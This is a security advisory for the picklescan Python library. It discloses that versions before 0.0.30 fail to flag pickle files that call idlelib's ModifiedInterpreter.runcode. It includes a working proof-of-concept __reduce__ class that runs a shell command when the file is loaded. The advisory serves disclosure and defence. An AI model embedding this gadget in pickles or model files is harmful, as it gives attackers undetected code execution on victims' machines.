GitHub Advisoryadvisory · PyPI

GHSA-3gf5-cxq9-w223 Picklescan is missing detection when calling built-in python idlelib.pyshell.ModifiedInterpreter.runcode

HIGH Published 2025-08-26 Modified 2026-11-03 Official page ↗
Aliases
CVE-2025-71340
Ecosystem
PyPI
Packages
picklescan
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
Weaknesses
CWE-502
Reviewed
2025-08-26

Affected packages

• PyPI picklescan: < 0.0.30 → fixed in 0.0.30

Description

Summary Using idlelib.pyshell.ModifiedInterpreter.runcode function, which is a built-in python library function to execute remote pickle file. Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to idlelib.pyshell.ModifiedInterpreter.runcode function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. PoC ``` from idlelib.pyshell import ModifiedInterpreter from types import SimpleNamespace class EvilIdlelibPyshellModifiedInterpreterRuncode: def __reduce__(self): payload = "__import__('os').system('whoami')" fake_self = SimpleNamespace( locals={}, tkconsole=SimpleNamespace( executing=False, beginexecuting=str, canceled=False, closing=False, showtraceback=str, endexecuting=str, stderr=None, text=SimpleNamespace(), getvar=str ), rpcclt=None, debugger=None, checklinecache=str, active_seq=None, showtraceback=str, canceled=False, closing=False ) return ModifiedInterpreter.runcode, (fake_self, payload) ``` Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects. Corresponding https://github.com/FredericDT https://github.com/Qhaoduoyu

Related

Alias · CVE (1)

  • CVE-2025-71340 picklescan through 0.0.26 fails to detect malicious pickle files that invoke idlelib.pyshell.ModifiedInterpreter.runcode in __reduce__… vulnerability

Weakness · CWE (1)

  • CWE-502 Deserialization of Untrusted Data weakness

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